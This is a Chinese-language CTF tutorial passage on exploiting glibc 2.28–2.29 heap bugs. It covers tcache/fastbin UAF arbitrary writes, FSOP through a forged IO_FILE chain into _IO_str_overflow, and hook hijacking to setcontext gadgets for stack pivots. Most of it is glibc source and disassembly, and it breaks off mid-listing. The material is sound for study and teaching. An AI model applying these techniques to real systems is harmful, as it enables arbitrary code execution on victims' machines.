如果我们通过UAF能修改fastbin链表尾部chunk的fd指针为一个target_addr，当这个target_chunk最后被滑入tcache中时，target_chunk做为tcache的头部，若tcache中存在其他chunk，则target_chunk -> fd 就被写入一个堆地址，实现任意地址写。
与此同时，如果再次调用malloc申请chunk，得益于从tcache分配时未仔细检查chunk_head，这时便会从tcache中将这个target_chunk分配出来，实现任意地址分配内存。（任意地址分配内存在这种情况下是个鸡肋，因为我们完全可以不清空tcache,利用UAF+calloc也就是fastbin_attck来实现任意地址分配）
glibc 2.28及以上堆利用的栈转移
1.在2.29中vtable是可写的
2.setcontext函数中gadget指令可控寄存器变成了rdx，非rdi
1.利用FSOP控制程序流程
在libc-2.29下_IO_strfile没有了像libc-2.24下的fp->_s._allocate_buffer()这类函数操作，都被修改为了标准函数(malloc...)，所以没办法直接直接像libc-2.24那样直接劫持程序流。因此不能使用以前的io_file攻击手法来劫持流程，但是我们看到在_IO_str_overflow函数中有很多函数,并且参数我们都可以控制，因此我们可以利用这一点来完成新版的io_file攻击
1
int
2
_IO_str_overflow (FILE *fp, int c)
3
{
4
int flush_only = c == EOF;
5
size_t pos;
6
if (fp->_flags & _IO_NO_WRITES)
7
return flush_only ? 0 : EOF;
8
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags &
9
_IO_CURRENTLY_PUTTING))
10
{
11
fp->_flags |= _IO_CURRENTLY_PUTTING;
12
fp->_IO_write_ptr = fp->_IO_read_ptr;
13
fp->_IO_read_ptr = fp->_IO_read_end;
14
}
15
pos = fp->_IO_write_ptr - fp->_IO_write_base;
16
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
17
​
18
{
19
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
20
return EOF;
21
else
22
{
23
char *new_buf;
24
char *old_buf = fp->_IO_buf_base;
25
size_t old_blen = _IO_blen (fp);
26
size_t new_size = 2 * old_blen + 100;
27
if (new_size < old_blen)
28
return EOF;
29
new_buf = malloc (new_size);
30
if (new_buf == NULL)
31
{
32
/* __ferror(fp) = 1; */
33
return EOF;
34
}
35
if (old_buf)
36
{
37
memcpy (new_buf, old_buf, old_blen);
38
free (old_buf);
39
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
40
fp->_IO_buf_base = NULL;
41
}
42
memset (new_buf + old_blen, '\0', new_size - old_blen);
43
_IO_setb (fp, new_buf, new_buf + new_size, 1);
44
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
45
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
46
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
47
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
48
fp->_IO_write_base = new_buf;
49
fp->_IO_write_end = fp->_IO_buf_end;
50
}
51
}
52
if (!flush_only)
53
*fp->_IO_write_ptr++ = (unsigned char) c;
54
if (fp->_IO_write_ptr > fp->_IO_read_end)
55
fp->_IO_read_end = fp->_IO_write_ptr;
56
return c;
57
}
Copied!
看_IO_str_overflow对应的汇编代码：
1
.text:00007FFFF7E73AEB                 mov     rdx, [rdi+28h]      
2
.text:00007FFFF7E73AEF 
3
.text:00007FFFF7E73AEF loc_7FFFF7E73AEF:                       ; CODE XREF: _IO_str_overflow+175↓j 
4
.text:00007FFFF7E73AEF                 mov     r12, [rdi+38h] 
5
.text:00007FFFF7E73AF3                 mov     r15, [rdi+40h] 
6
.text:00007FFFF7E73AF7                 xor     eax, eax 
7
.text:00007FFFF7E73AF9                 mov     ebp, esi 
8
.text:00007FFFF7E73AFB                 mov     rbx, rdi 
9
.text:00007FFFF7E73AFE                 sub     r15, r12 
10
.text:00007FFFF7E73B01                 cmp     esi, 0FFFFFFFFh 
11
.text:00007FFFF7E73B04                 mov     rsi, rdx 
12
.text:00007FFFF7E73B07                 setz    al 
13
.text:00007FFFF7E73B0A                 sub     rsi, [rdi+20h] 
14
.text:00007FFFF7E73B0E                 add     rax, r15 
15
.text:00007FFFF7E73B11                 cmp     rax, rsi 
16
.text:00007FFFF7E73B14                 ja      loc_7FFFF7E73BF0 
17
.text:00007FFFF7E73B1A                 and     ecx, 1 
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.text:00007FFFF7E73B1D                 jnz     loc_7FFFF7E73C50 
19
.text:00007FFFF7E73B23                 lea     r14, [r15+r15+64h] 
20
.text:00007FFFF7E73B28                 cmp     r15, r14 
21
.text:00007FFFF7E73B2B                 ja      loc_7FFFF7E73C50 
22
.text:00007FFFF7E73B31                 mov     rdi, r14 
23
.text:00007FFFF7E73B34                 call    j_malloc
Copied!
可看到调用malloc之前rdx可控制为[rdi+28h]
攻击方式：
劫持IO_list_all指向我们伪造的io_file
劫持malloc_hook为setcontext+61
io_str_overflow里面会调用malloc,调用malloc之前rdx=rdi+0x28 rdi=&fake_IO_FILE ,此时rdi可控，执行srop
还一种情况是不能分配到理想大小的tcache，无法通过常规方式劫持free或malloc_hook项。（参见TCTF2020 duet）
在执行FSOP前布置好一条tcache bin：chunk A-> ptr 构造好三个IO_FILE: X.chain -> Y.chain -> Z.chain
调用malloc前rdx=rdi+0x28 rdi=&fake_IO_FILE ,此时rdi可控。
这样就可以利用FSOP在_IO_flush_all_lockp时三次进入_IO_str_overflow；第一次控制malloc参数将chunk A分配出来；第二次的时候调用malloc就会分配到ptr，而后memcpy（参见_IO_str_overflow C源码），即可进行任意地址写（通常将_malloc_hook写成setcontext+61，用于第三次刷新IO用）；第三次调用malloc，即可setcontext实现orw。
2.利用_free_hook控制程序流程
方法 I ：
然而在我们控了free_hook以后，我们发现libc-2.29中没有可以利用rdi控制rsp进行迁栈的gadget，所以使用了其它方法。IO_wfile_sync函数可以利用rdi控制rdx，函数setcontext+0x35处可以用rdx控rsp，两个搭配使用就可以进行迁栈。在IO_wfile_sync+0x6d处有call [r12+0x20]，这里的r12也是可以用rdi控制的，所以可以利用这条指令调用setcontext+0x35，实现free_hook -> IO_wfile_sync -> setcontext+0x35
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.text:0000000000089460 _IO_wfile_sync  proc near               ; DATA XREF: LOAD:0000000000010230↑o
2
.text:0000000000089460                                         ; __libc_IO_vtables:00000000001E5F00↓o ...
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.text:0000000000089460
4
.text:0000000000089460 var_20          = qword ptr -20h
5
.text:0000000000089460
6
.text:0000000000089460 ; __unwind {
7
.text:0000000000089460                 push    r12
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.text:0000000000089462                 push    rbp
9
.text:0000000000089463                 push    rbx
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.text:0000000000089464                 mov     rbx, rdi
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.text:0000000000089467                 sub     rsp, 10h
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.text:000000000008946B                 mov     rax, [rdi+0A0h]
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.text:0000000000089472                 mov     rdx, [rax+20h]
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.text:0000000000089476                 mov     rsi, [rax+18h]
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.text:000000000008947A                 cmp     rdx, rsi
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.text:000000000008947D                 jbe     short loc_894AD
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.text:000000000008947F                 mov     eax, [rdi+0C0h]
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.text: